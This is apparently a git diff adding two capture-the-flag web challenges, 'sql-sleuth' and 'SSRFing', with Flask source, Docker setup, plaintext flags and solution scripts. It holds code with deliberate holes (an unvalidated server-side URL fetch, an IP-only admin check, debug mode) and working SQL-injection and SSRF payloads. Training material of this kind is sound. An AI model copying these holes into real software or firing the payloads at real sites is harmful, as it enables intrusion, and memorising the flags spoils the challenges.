+{% extends "layout.html" %}
+
+{% block content %}
+
+
Login
+ {% if error %}
+
+ {{ error }}
+
+
+ {% endif %}
+ {% if query %}
+
+ The SQL query that was executed was: {{ query }}
+
+
+ {% endif %}
+
+
+{% endblock %}
diff --git a/web/sql-sleuth/solution/sol.py b/web/sql-sleuth/solution/sol.py
new file mode 100644
index 0000000..c04873b
--- /dev/null
+++ b/web/sql-sleuth/solution/sol.py
@@ -0,0 +1,8 @@
+import requests
+import sys
+
+s = requests.Session()
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
+
+r = s.post(url + "/login", data={"username": "admin", "password": "admin' OR 1=1 -- "})
+print(r.text)
diff --git a/web/ssrfing/challenge.yml b/web/ssrfing/challenge.yml
new file mode 100644
index 0000000..0bbac62
--- /dev/null
+++ b/web/ssrfing/challenge.yml
@@ -0,0 +1,27 @@
+name: "SSRFing"
+author: "Evangelospro"
+category: web
+
+description: |
+ I've heard about this cool new way of surfing the web, it's called SSRFing! I've set up a server for you to try it out. Can you find the flag behind the admin portal?
+
+value: 500
+type: dynamic_docker
+extra:
+ initial: 500
+ minimum: 100
+ decay: 25
+ redirect_type: http
+ compose_stack: !filecontents docker-compose.yml
+
+flags:
+ - GTBQ{Acce55ing_1nt3rn4l_5erv1c35_1s_50_Aw3s0m3}
+
+tags:
+ - web
+ - medium
+
+files:
+
+state: visible
+version: "0.1"
diff --git a/web/ssrfing/docker-compose.yml b/web/ssrfing/docker-compose.yml
new file mode 100644
index 0000000..f5a5567
--- /dev/null
+++ b/web/ssrfing/docker-compose.yml
@@ -0,0 +1,15 @@
+version: '3'
+services:
+ web:
+ build:
+ context: ./setup
+ dockerfile: Dockerfile
+ image: ghcr.io/cybermouflons/gtbq-2024/ssrfing:latest
+ ports:
+ - 1337:80
+ environment:
+ - FLAG=GTBQ{Acce55ing_1nt3rn4l_5erv1c35_1s_50_Aw3s0m3}
+ - FLASK_APP=/app/app.py
+ - FLASK_ENV=development
+ # volumes:
+ # - ./setup/app:/app
diff --git a/web/ssrfing/setup/Dockerfile b/web/ssrfing/setup/Dockerfile
new file mode 100644
index 0000000..040729f
--- /dev/null
+++ b/web/ssrfing/setup/Dockerfile
@@ -0,0 +1,14 @@
+# Use the official Python base image
+FROM python:3.9-slim
+
+WORKDIR /app
+
+COPY ./app/requirements.txt /app/requirements.txt
+
+RUN pip install --no-cache-dir -r requirements.txt
+
+COPY ./app /app/
+
+EXPOSE 80
+
+ENTRYPOINT ["python3", "/app/app.py"]
diff --git a/web/ssrfing/setup/app/app.py b/web/ssrfing/setup/app/app.py
new file mode 100644
index 0000000..ebde012
--- /dev/null
+++ b/web/ssrfing/setup/app/app.py
@@ -0,0 +1,32 @@
+import os
+from flask import Flask, render_template, request, redirect, g, url_for, make_response
+import requests
+
+app = Flask(__name__)
+
+FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}')
+
+@app.route('/')
+def index():
+ return redirect(url_for('fetch'))
+
+@app.route('/fetch', methods=['GET', 'POST'])
+def fetch():
+ if request.method == 'POST':
+ url = request.form['url']
+ try:
+ response = requests.get(url)
+ return render_template('fetch.html', response=response.text)
+ except requests.exceptions.RequestException as e:
+ return str(e)
+ return render_template('fetch.html')
+
+@app.route('/admin')
+def admin():
+ # allow only requests coming from localhost
+ if request.remote_addr != '127.0.0.1':
+ error = 'Only localhost is allowed to access this page'
+ return render_template('fetch.html', error=error)
+ return FLAG
+
+app.run(host='0.0.0.0', port=80, debug=True)
diff --git a/web/ssrfing/setup/app/requirements.txt b/web/ssrfing/setup/app/requirements.txt
new file mode 100644
index 0000000..30692b7
--- /dev/null
+++ b/web/ssrfing/setup/app/requirements.txt
@@ -0,0 +1,2 @@
+flask
+requests
diff --git a/web/ssrfing/setup/app/static/images/go_away.png b/web/ssrfing/setup/app/static/images/go_away.png
new file mode 100644
index 0000000..953a28c
Binary files /dev/null and b/web/ssrfing/setup/app/static/images/go_away.png differ
diff --git a/web/ssrfing/setup/app/templates/admin.html b/web/ssrfing/setup/app/templates/admin.html
new file mode 100644
index 0000000..5773dd3
--- /dev/null
+++ b/web/ssrfing/setup/app/templates/admin.html
@@ -0,0 +1,14 @@
+{% extends "layout.html" %}
+
+{% block content %}
+
+
Congratulations!
+
+
Welcom back admin!
+
Here is your flag:
+
+
{{flag}}
+
+
+
+{% endblock %}
diff --git a/web/ssrfing/setup/app/templates/fetch.html b/web/ssrfing/setup/app/templates/fetch.html
new file mode 100644
index 0000000..e6cc648
--- /dev/null
+++ b/web/ssrfing/setup/app/templates/fetch.html
@@ -0,0 +1,29 @@
+{% extends "layout.html" %} {% block content %}
+
+
+ {% if error %}
+
+ {{ error }}
+
+ {% endif %}
+
+ {% if response %}
+
+ {% endif %}
+
+{% endblock %}
diff --git a/web/ssrfing/setup/app/templates/header.html b/web/ssrfing/setup/app/templates/header.html
new file mode 100644
index 0000000..582cbd0
--- /dev/null
+++ b/web/ssrfing/setup/app/templates/header.html
@@ -0,0 +1,24 @@
+
diff --git a/web/ssrfing/setup/app/templates/layout.html b/web/ssrfing/setup/app/templates/layout.html
new file mode 100644
index 0000000..64aed23
--- /dev/null
+++ b/web/ssrfing/setup/app/templates/layout.html
@@ -0,0 +1,16 @@
+
+
+
+
+
+
+ {% block head %} {% endblock %}
+
+
+ {% include 'header.html' %} {% block content %} {% endblock %} {% block
+ after_content %} {% endblock%}
+
+
diff --git a/web/ssrfing/solution/sol.py b/web/ssrfing/solution/sol.py
new file mode 100644
index 0000000..3ff6d31
--- /dev/null
+++ b/web/ssrfing/solution/sol.py
@@ -0,0 +1,9 @@
+import requests
+import sys
+
+s = requests.Session()
+url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337'
+
+# Abuse the ssrf vulnerability to fetch the admin page from localhost
+r = s.post(url + "/fetch", data={'url': 'http://localhost/admin'})
+print(r.text)